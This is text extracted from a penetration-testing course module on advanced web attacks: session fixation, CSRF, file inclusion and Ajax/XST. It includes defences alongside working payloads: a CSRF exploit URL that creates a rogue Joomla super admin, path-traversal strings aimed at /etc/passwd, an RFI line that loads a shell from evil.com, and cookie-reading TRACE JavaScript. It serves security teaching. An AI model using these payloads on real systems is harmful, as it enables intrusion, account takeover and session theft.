v3.

Web Application Security

eLearnSecurity © 2014
6. Advanced Web Attacks 2

HOME PARENT REFERENCES VIDEO

6.1. Introduction 3

HOME PARENT REFERENCES VIDEO

 6.1. Introduction 4

Other than XSS and SQL injection, there are a

number of different attack techniques against a
web application. Session and logic are the most
targeted elements of a web application after input.
A conjunction of input validation attack and flawed
logic and session handling brings us more ways to
break the security of a web application.

HOME PARENT REFERENCES VIDEO

6.2. Session Attacks 5

HOME PARENT REFERENCES VIDEO

 6.2. Session Attacks 6

The HTTP Session is what keeps the status of a

connection between a website and a visitor
through different web pages.
HTTP being stateless, all of the CGI’s implement
the HTTP session paradigm, where a given session
is identified through a unique token or session ID
released to the visitor’s browser.

HOME PARENT REFERENCES VIDEO

 6.2. Session Attacks 7

The visitor’s web browser will have to present the

web server this token in order for his session to be
recognized.
In the XSS attacks module, we have already studied
how to take advantage of input validation attacks
to steal cookies. Theft of Cookies storing sessions
token or authentication credentials is an example
of HTTP Session Hijacking.

HOME PARENT REFERENCES VIDEO

 6.2. Session Attacks 8

If the stolen session cookie carries a token for a

valid and open session, it can be used to access the
vulnerable web application with authenticated
credentials.

HOME PARENT REFERENCES VIDEO

 6.2. Session Attacks 9

Another simple scenario is when you have websites

holding session token in URL:
index.php?sessid=01BA10CE

This practice is subject to the following attack:

HOME PARENT REFERENCES VIDEO

6.2. Session Attacks 10

HOME PARENT REFERENCES VIDEO

 6.2. Session Attacks 11

HTTP Session fixation

Operations 2 and 3 should occur while the session
is still valid (it has not expired).
Mounting such attack is subject to a number of
factors that may affect the success of the attack
negatively.

HOME PARENT REFERENCES VIDEO

 6.2. Session Attacks 12

Through the HTTP REFERER header, the sessionID

in the url is passed to the Hacker controlled server.
Another attack to HTTP Session is HTTP Session
fixation.

HOME PARENT REFERENCES VIDEO

 6.2.1. HTTP Session Fixation 13

In this attack, as the name suggests, the hacker

fixates the session ID that the victim will use for its
HTTP communication with the web application.
The attacker in this case is not interested with
stealing this ID. He instead creates (or fixes) it.

HOME PARENT REFERENCES VIDEO

 6.2.1. HTTP Session Fixation 14

A penetration tester can use this attack to gain

access to private areas of the web applications.
Upon login, authentication information is stored
into session variables.
This information is used to discriminate between
authenticated and unauthenticated sessions.

HOME PARENT REFERENCES VIDEO

 6.2.1. HTTP Session Fixation 15

The following is the most simple HTTP Session

fixation attack scenario :

HOME PARENT REFERENCES VIDEO

 6.2.1. HTTP Session Fixation 16

The above is the most simple of the scenarios for

this attack. However, even this simple scenario, has
some constraints:
 The Hacker must induce the Victim into using the
forged sessionID
 The Hacker must be able to induce the Victim into
using the forged sessionID while it is still valid - low
difficulty: The Hacker can just keep the session open
by browsing the website

HOME PARENT REFERENCES VIDEO

 6.2.1. HTTP Session Fixation 17

How can we force the victim into using the forged

sessionID?
 Forging a link including the sessionID
• This implies that the website carries sessionID’s in the URL
 Forging a link that sets a new session cookie on the
victim browser
• This implies that the website is also vulnerable to XSS or HTTP
Response splitting
• At this point: why not just hijack the session by stealing the session
cookie?

HOME PARENT REFERENCES VIDEO

 6.2.1. HTTP Session Fixation 18

There are web applications that do not release

sessionID’s to unauthenticated users browsing
website pages; they only do upon login.
When this applies, we must register on the
website, login and obtain a new session cookie
containing the wanted sessionID.

HOME PARENT REFERENCES VIDEO

 6.2.1.1. Finding HTTP Session Fixation 19

So how do you go about finding whether a website

is really vulnerable to this attack?
Generally, websites that do not regenerate
sessionID’s upon login are likely to be vulnerable.

HOME PARENT REFERENCES VIDEO

 6.2.1.1. Finding HTTP Session Fixation 20

There may be 2 cases:

1 2
The website releases a The website releases a
sessionID even to non- sessionID only after
authenticated users login

HOME PARENT REFERENCES VIDEO

 6.2.1.1. Finding HTTP Session Fixation 21

Case 1: The website releases a sessionID

even to non-authenticated users

You can just browse a website, read the sessionID

released to you (if any) while not being
authenticated and then compare the sessionID
released to you after login.
If they are identical, the web application is
*probably* vulnerable (unless further security
checks are in place).

HOME PARENT REFERENCES VIDEO

 6.2.1.1. Finding HTTP Session Fixation 22

Case 2: The website releases a sessionID

only after login

If the website releases sessionID’s only after login,

you have to check whether this sessionID is bound
to that account in some way.
Most of the time it is: session variables usually
store information such as logged in user ID.
This information gets re-written once the Victim
logins.
HOME PARENT REFERENCES VIDEO
 6.2.1.1. Finding HTTP Session Fixation 23

The Session handling is the responsibility of both

the webserver and the web developer.
A “gratuitous” sessionID is a sessionID that has not
been previously released by the webserver directly:
this is just suggested by a browsing user through a
normal HTTP GET request:
http://vuln/search.asp?sessionID=123456

HOME PARENT REFERENCES VIDEO

 6.2.1.1. Finding HTTP Session Fixation 24

Microsoft ASP is the most famous for this (bad)

behavior.
It will accept any sessionID provided by a user.
This means that you will be able to provide ASP
with your own sessionID and a session around it
will be created.

HOME PARENT REFERENCES VIDEO

 6.2.1.1. Finding HTTP Session Fixation 25

Basically the acceptance of a gratuitous sessionID

makes the exploitation much easier although it is
not a necessary condition for it.

HOME PARENT REFERENCES VIDEO

 6.2.1.2. Preventing Session Fixation 26

The most effective solution to this attack is simply

to re-generate sessionID’s at every login.
PHP provides the function session_regenerate_id
at the purpose and it should be used with the
argument TRUE that will force the complete
removal of the previous session.

HOME PARENT REFERENCES VIDEO

 6.2.1.2. Preventing Session Fixation 27

A similar approach can be taken in all other

scripting languages: simply destroying the old
session and creating a new one.
Moreover, the web application should never accept
gratuitous sessionID’s.

HOME PARENT REFERENCES VIDEO

6.3. Cross Site Request Forgeries 28

HOME PARENT REFERENCES VIDEO

 6.3. Cross Site Request Forgeries 29

CSRF or XSRF attacks are something every web app

tester should know and master since
it is something automated scanning tools do not
easily find.
CSRF exploits a feature of internet browsing,
instead of a specific vulnerability.

HOME PARENT REFERENCES VIDEO

 6.3. Cross Site Request Forgeries 30

Let us see a quick example:

 Bob visits Amazon.com, logs in then leaves the site
without logging out.
 Bob then visits Foo.com where inadvertently executes
a request to Amazon.com.
This request requires a valid account on Amazon. For
example a request to buy a book.

HOME PARENT REFERENCES VIDEO

6.3. Cross Site Request Forgeries 31

HOME PARENT REFERENCES VIDEO

 6.3. Cross Site Request Forgeries 32

Since Bob is still logged in in Amazon, the request

goes through and the money is withdrawn from his
account for the purchase of the book.
How can Foo.com issue a request to Amazon on
behalf of Bob?

HOME PARENT REFERENCES VIDEO

 6.3. Cross Site Request Forgeries 33

Whatever is in a webpage, the browser requests: if

an image with the url amazon.com/buy/123 is
present in the page, the web browser will silently
issue a request to Amazon.com, thus buying the
book because Bob has an authenticated session
open on Amazon.

HOME PARENT REFERENCES VIDEO

 6.3. Cross Site Request Forgeries 34

If it sounds simple, it really is.

Google, Amazon, eBay and other major website
were vulnerable to CSRF but a big number of
smaller websites and third party application scripts
still are.

HOME PARENT REFERENCES VIDEO

 6.3.1. Finding CSRF 35

All the requests to a web application that do not

implement an Anti-CSRF mechanism are
automatically vulnerable.
This may sound trivial but CSRF is really this
common.

HOME PARENT REFERENCES VIDEO

 6.3.1. Finding CSRF 36

When a web application stores session into

cookies, this cookie is sent with every request to
the same web application (same-origin policy
applies).
This may sound odd but storing session tokens into
cookies enables CSRF. (While storing session tokens
into URLs enable other kind of exploits)

HOME PARENT REFERENCES VIDEO

 6.3.1. Finding CSRF 37

Tokens and captcha’s are the most used protection

mechanisms.
We will study them once the exploitation process is
clear.

HOME PARENT REFERENCES VIDEO

 6.3.2. Exploiting CSRF 38

Let us see a real world example.

In 2005, I had to consider using Joomla as a CMS
for Hackers Center, pensioning my hand-coded
veteran ASP-based CMS.
The first thing I realized while using it for the first
time was the presence of multiple CSRF
vulnerabilities.

HOME PARENT REFERENCES VIDEO

 6.3.2. Exploiting CSRF 39

The most important of them allowed me to have a

super administrator, with an open session on his
Joomla backend, to upload arbitrary files, post
articles or even deface his own website. If only I
managed to force him into visiting a web page
containing the exploit payload.

HOME PARENT REFERENCES VIDEO

 6.3.2. Exploiting CSRF 40

What we will see now is how I built the payload to

have the Super Admin create another super admin
to let me gain a backdoor access to the website.
The main difference with other vulnerabilities is
that the exploitation does not require any
“malicious” payload.
In the next slide we will go through the process of
building a working exploit for the Joomla
vulnerability (affected version is

HOME PARENT REFERENCES VIDEO

 6.3.2.1. Building CSRF Exploits 41

This process will go through the steps required to

build a working exploit against Joomla 1.0.13 and
below and 1.5rc3.
If you want to test this in your test environment,
you can get a copy of a vulnerable Joomla release
from the Joomla SVN.

HOME PARENT REFERENCES VIDEO

 6.3.2.1. Building CSRF Exploits 42

Since the request method is POST we have to use a

proxy that will let us transform a GET request in a
POST request.

HOME PARENT REFERENCES VIDEO

 6.3.2.1. Building CSRF Exploits 43

I decided to use Chris Shifflet’s PHP proxy to

demonstrate the vulnerability.

HOME PARENT REFERENCES VIDEO

 6.3.2.1. Building CSRF Exploits 44

This is the simple but yet effective source code

used by Chris to achieve the transformation GET->
POST :
<iframe style="width: 0px; height: 0px;
visibility: hidden" name="hidden"></iframe>
</form>
<script>document.csrf.submit();</script>

HOME PARENT REFERENCES VIDEO

 6.3.2.1. Building CSRF Exploits 45

This script takes as input an url with some

parameters.
These parameters will be sent to it as GET.
The script will make sure to build a POST request to
the CGI attaching these parameters.
http://shiflett.org/csrf.php?csrf=[CGI]?[ARGUMENTS]

HOME PARENT REFERENCES VIDEO

 6.3.2.1. Building CSRF Exploits 46

Our CGI is nothing but:

http%3a%2Fvuln%2Fadministrator%2Findex%2Ephp

HOME PARENT REFERENCES VIDEO

 6.3.2.1. Building CSRF Exploits 47

Our arguments found at step 1 are the parameters

in querystring format:
name=John&username=john&email=john%40doe.com&passw
ord=john&password2=john&gid=25&block=0&sendEmail=0
&id=0&cid%5B%5D=0&option=com_users&task=apply&cont
act_id=

HOME PARENT REFERENCES VIDEO

 6.3.2.1. Building CSRF Exploits 48

So our final exploit URL is:

http://shiflett.org/csrf.php?csrf=http%3a%2Fvuln%2
Fadministrator%2Findex%2Ephp&name=John&username=jo
hn&email=john%40doe.com&password=john&password2=jo
hn&gid=25&block=0&sendEmail=0&id=0&cid%5B%5D=0&opt
ion=com_users&task=apply&contact_id=

HOME PARENT REFERENCES VIDEO

 6.3.3. Preventing CSRF 49

This is a penetration tester’s course but studying

countermeasures and protection mechanism,
sometimes makes the exploitation explanation
clearer.
Moreover you should not forget that you’re hired
to provide solutions.

HOME PARENT REFERENCES VIDEO

 6.3.3. Preventing CSRF 50

The most used protection mechanism for CSRF is

the Token. The token, a nonce, makes part of the
request required to perform a given action,
unpredictable for an attacker.
Let us take a real world scenario, where the Add-
user form in the administration area of CMS’s
include a hidden input including a token.
This token can be implemented as a md5 hash of
some randomly generated string.

HOME PARENT REFERENCES VIDEO

 6.3.3. Preventing CSRF 51

While rendering the form to the user, the following

steps are taken by the web application to enforce
protection against CSRF:
Generate a token

Include the token as a hidden input to the form

Save the token in the session variables

HOME PARENT REFERENCES VIDEO

 6.3.3. Preventing CSRF 52

The form will be submitted with the token:

<form action=”adduser.php” method=”POST”>
<input type=”text” name=”username”/>
…
<input type=”hidden” name=”token”
value=”eb4f130331f9b0a25360975d7d565a76”
…
</form>

Adduser.php will have to check that the token

stored in session equals the token received through
POST. If they match, the request is fulfilled
otherwise it is refused.
HOME PARENT REFERENCES VIDEO
 6.3.3.1. Why this work? 53

An attacker, willing to force the victim request the

forged url, has to provide a valid token.
Two conditions may arise:
 The victim has not visited the page and as such has
no token set in session variables at all
 The victim has visited the page and has a token

HOME PARENT REFERENCES VIDEO

 6.3.3.1. Why this work? 54

In case 2 the attacker has to guess the correct

token that is something considered impossible as
long as token generation is truly random and the
token is not easily predictable.
As you can see, the token must be random, not
predictable and changing at least for every session.
Note: The token becomes useless when the
application is also vulnerable to XSS.

HOME PARENT REFERENCES VIDEO

 6.3.3.1. Why this work? 55

Because of the same-origin policy, you cannot read

the token on domain-vuln.com from
domain-evil.com.
But using a XSS on domain-vuln.com, the JavaScript
meant to steal the token and use it in the request,
will be executed on the legit domain
(domain-vuln.com).

HOME PARENT REFERENCES VIDEO

 6.3.3.1. Why this work? 56

Bottom line is:

to prevent CSRF, one has to implement a random
token for every request and be immune to XSS at
the same time.

HOME PARENT REFERENCES VIDEO

 Coliseum Lab : CSRF

Lab ID : Session.1 – Tomato lovers 3

Start your battle in our Coliseum Virtual Lab within a safe sand-boxed and user isolated
environment made only for you.
Please refer to the Battle order PDF and to Cicero for help during the lab.
Please refer to WAS360 Forum for further help.

New to Coliseum Lab? Click here to find out how you can get access to it
6.4. File Inclusion Vulnerabilities 58

HOME PARENT REFERENCES VIDEO

 6.4. File Inclusion Vulnerabilities 59

File inclusion vulnerabilities are divided in Remote

and Local according to where the file to include, is
located.

HOME PARENT REFERENCES VIDEO

 6.4.1. Local File Inclusion 60

Some of you will remember the “vintage” LFI attack

that we all tried against the first Perl CGI’s in early
90’s:
visit.pl?url=../../../../etc/passwd

HOME PARENT REFERENCES VIDEO

 6.4.1. Local File Inclusion 61

This kind of vulnerability was very common at that

time, since security awareness was not so spread
among developers.
However, it is still found in custom made scripts
where path characters are not stripped from input
and the input is used as part of an include.

HOME PARENT REFERENCES VIDEO

 6.4.1. Local File Inclusion 62

The vulnerability is easier to understand if we look

at a simple PHP code:
<?php
include(“/html/” . $_GET[‘path’]);
?>

As you can see we can just enter any valid local

path to file to have the PHP include it in the
response to our browser:
vuln.php?path=../../../etc/passwd

will go up 3 directories and then read etc/passwd

which is the famous Unix password file.
HOME PARENT REFERENCES VIDEO
 6.4.1. Local File Inclusion 63

If instead the code looks like this:

<?php
include($path . ”/template.tlp”);
?>

A valid exploit would be:

vuln.php?path=../../etc/passwd%00

%00 is the null character that terminate the string.

These vulnerabilities are usually found in little
custom made CMS’s where pages are loaded
through include and their path taken from the
input.
HOME PARENT REFERENCES VIDEO
 6.4.2. Remote File Inclusion 64

Remote file inclusion works basically the same way

as LFI, with the only difference that the file to be
included is taken remotely.
Our aim in this case is not just to read but to
include our own code in the execution.
An exploitation URL would look like this:
vuln.php?page=http://evil.com/shell.txt

HOME PARENT REFERENCES VIDEO

 6.4.2. Remote File Inclusion 65

In this case, shell.txt - a file containing PHP code,

will be included in the page and executed.
A common exploitation to this vulnerability is to
include a PHP shell that would let the hacker or the
pen tester execute any code on the server.
The most simple PHP shell will accept commands
from GET/POST arguments and execute them on
the server.

HOME PARENT REFERENCES VIDEO

 6.4.2. Remote File Inclusion 66

This vulnerability should be checked when an

include is thought to be present in the code.
To immediately spot a vulnerable parameter, you
can just inject “http://www.google.com”
vuln.php?page=http://www.google.com

The HTML of google.com home page should be

injected in the vulnerable web page if it is
vulnerable.

HOME PARENT REFERENCES VIDEO

 6.4.2. Remote File Inclusion 67

Note: RFI is possible because allow_url_include

directive is set to On within php.ini.
It is good practice to set it to off.
Exploiting RFI requires that you have a PHP shell
uploaded somewhere and accessible from the
internet.
C99 shell is the most famous and complete PHP
shell.

HOME PARENT REFERENCES VIDEO

6.5. Web 2.0 Attacks 68

HOME PARENT REFERENCES VIDEO

 6.5.1 How Ajax works 69

Web 2.0 has been mistakenly associated to the era

of social networks.
From the technical point of view, web 2.0 means
the use of relatively new tools for web developers
to build their web pages.
The most notorious: AJAX.

HOME PARENT REFERENCES VIDEO

 6.5.1 How Ajax works 70

AJAX is nothing new since it is based on a number

of technologies that have been available for at least
10 years: JavaScript and XML.
What AJAX is introducing, is the possibility of
making asynchronous calls from the client to the
server thus giving the user the feeling that he is
truly dealing with an application running within the
browser.

HOME PARENT REFERENCES VIDEO

 6.5.1 How Ajax works 71

AJAX relies on XmlHTTPRequest (Msxml2.XMLHTTP

On Internet Explorer) object that is responsible for
making the requests, registering a handler and
listening to server response asynchronously.
Response can be any content type (images,
binaries, xml,plain…) because the server is not
required to know whether the request is coming
from XmlHTTPRequest or a normal synchronous
request.

HOME PARENT REFERENCES VIDEO

 6.5.1 How Ajax works 72

Usually XML or JSON are used to exchange request-

response between client and server.
The response is then interpreted and inserted into
the web page DOM or used for the application
logic.
Same origin applies to Ajax requests: an Ajax script
on foo.com cannot make requests to bar.com nor
bar.foo.com.

HOME PARENT REFERENCES VIDEO

 6.5.1.1. Defeating httpOnly through XST 73

In XSS module, you have learned how httpOnly is

used to avoid cookies from being read by
JavaScript.
In this module, you are learning about how
xmlHTTPRequest is used to perform asynchronous
requests to the webserver.

HOME PARENT REFERENCES VIDEO

 6.5.1.1. Defeating httpOnly through XST 74

Now let us see how the latter can help us in

defeating the protection introduced by the first.
httpOnly is considered to be the solution to cookie
theft, however this is not entirely true.
When using xmlHTTPRequest, it is possible to read
the cookie content through TRACE http method.

HOME PARENT REFERENCES VIDEO

 6.5.1.1. Defeating httpOnly through XST 75

TRACE http method works similarly to traceroute

command, it sends our request back including the
cookie that the browser has sent in the TRACE
request:
the response to
TRACE thus let us
read the cookie
content.

HOME PARENT REFERENCES VIDEO

 6.5.1.1. Defeating httpOnly through XST 76

If the TRACE http verb is enabled on the server you

can defeat the httpOnly protection by issuing a
TRACE request through xmlHTTPRequest.
By injecting the script in the next slide, it is possible
to read the cookie despite httpOnly.

HOME PARENT REFERENCES VIDEO

 6.5.1.1. Defeating httpOnly through XST 77

req = new XMLHttpRequest();

req.onreadystatechange =processReqChange;
req.open("TRACE", “/”, true);
req.send("");
function processReqChange() {
if (req.readyState == 4) {
if (req.status == 200) {
req.responseText;
}
}
}

HOME PARENT REFERENCES VIDEO

 6.5.2. Auditing Ajax API’s 78

From the security point of view, AJAX shifts the

paradigms of web application development
widening the attack surface when it is not handled
correctly.

HOME PARENT REFERENCES VIDEO

 6.5.2. Auditing Ajax API’s 79

Let us see a visual example clarifying the above

statement.

HOME PARENT REFERENCES VIDEO

 6.5.2. Auditing Ajax API’s 80

In the traditional synchronous browsing, the client

simply requests a URL passing parameters to it.
We usually do not have any understanding of the
inner working of the remote application except for
the input-output correlation.

HOME PARENT REFERENCES VIDEO

 6.5.2. Auditing Ajax API’s 81

With AJAX, and above all, with the spread of web

services, the Client application (when poorly
coded) may expose:
Function names
Parameters names
Parameters data types
Response data type and structure

HOME PARENT REFERENCES VIDEO

 6.5.2. Auditing Ajax API’s 82

This allows direct application API’s inspection. A

penetration tester can just extrapolate the client
side JavaScript code and build this graph:
Names
Arguments
Types
Function
Structure
Results
Types

HOME PARENT REFERENCES VIDEO

 6.5.2. Auditing Ajax API’s 83

The group of functions exposed by client-side code,

can be used as the starting point for new Input
validation attacks, XSS, SQL injections, RFI’s, but
also for new attacking vectors like function
clobbering.

HOME PARENT REFERENCES VIDEO

 6.5.2.1. So How to find these API’s? 84

As we saw earlier, web applications using Ajax,

through a framework or a custom made Ajax code,
will probably expose more logic to a pentester.
We, as pentesters, are interested in:
 Collecting all of the Ajax requests a web page makes
 Retrieving the JavaScript libraries where these calls are made from
This will let us have a deeper understanding of the
web application logic and a much wider attack
surface.

HOME PARENT REFERENCES VIDEO

 6.5.3. Reverse Engineering Ajax Application Logic 85

In order to fully understand the logic behind a web

application relying upon Ajax you have two roads:
Studying the Ajax requests
Studying the JavaScript libraries containing the Ajax code.
In this paragraph we will follow the first method .
Let us see a real example: alesti.org.
From this you can continue your investigation of
reverse engineering the web application logics and
eventually perform input validation attacks.
HOME PARENT REFERENCES VIDEO
 6.5.4. Exposed Administrative Functions 86

The AJAX code is contained in JavaScript libraries

that the developer has to include in the website
pages.
Collecting API’s methods and their arguments is a
heuristic process but finding where these methods
and functions are called from is something you
should be able to do quite easily.

HOME PARENT REFERENCES VIDEO

 6.5.4. Exposed Administrative Functions 87

Most of the times, all the Ajax related code is

inserted in one or more javascript .js file. These
files are then included through a <script> tag and
their methods invoked when needed.
It is not rare to come across web applications that
implement Ajax to improve the end user
experience but also to make administration an
easier and more enjoyable experience.

HOME PARENT REFERENCES VIDEO

 6.5.4. Exposed Administrative Functions 88

When administrative functions are included in the

same library of functions intended for the end user,
these are called Exposed administrative functions.
This is not to be considered a vulnerability in itself
but most of the times this lets a penetration tester
perform a direct inspection of these high privileged
functions.

HOME PARENT REFERENCES VIDEO

 6.5.4. Exposed Administrative Functions 89

The first thing to do in this case is to get all the

JavaScript files dealing with Ajax.
Simply requesting the page source code will reveal
the included JavaScript files.

HOME PARENT REFERENCES VIDEO

 6.5.4. Exposed Administrative Functions 90

An average understanding of JavaScript will be

required. If the JavaScript looks encoded, you can
use the tool located here http://www.gosu.pl/decoder/
to decode it and make it more readable.

HOME PARENT REFERENCES VIDEO

 Coliseum Lab : Unrestricted file upload

Lab ID : Upload.1 – Tomato lovers 1

Start your battle in our Coliseum Virtual Lab within a safe sand-boxed and user isolated
environment made only for you.
Please refer to the Battle order PDF and to Cicero for help during the lab.
Please refer to WAS360 Forum for further help.

New to Coliseum Lab? Click here to find out how you can get access to it
 Coliseum Lab : Unrestricted file upload 2

Lab ID : Upload.2 – Tomato lovers 2

Start your battle in our Coliseum Virtual Lab within a safe sand-boxed and user isolated
environment made only for you.
Please refer to the Battle order PDF and to Cicero for help during the lab.
Please refer to WAS360 Forum for further help.

New to Coliseum Lab? Click here to find out how you can get access to it
 Coliseum Lab : Cookie manipulation

Lab ID : Insecure.1 – Music Shop 1

Start your battle in our Coliseum Virtual Lab within a safe sand-boxed and user isolated
environment made only for you.
Please refer to the Battle order PDF and to Cicero for help during the lab.
Please refer to WAS360 Forum for further help.

New to Coliseum Lab? Click here to find out how you can get access to it
 Advanced Web Attacks References 94

Top 10 Ajax
Security Issues

Powered by TCPDF (www.tcpdf.org)

HOME PARENT REFERENCES VIDEO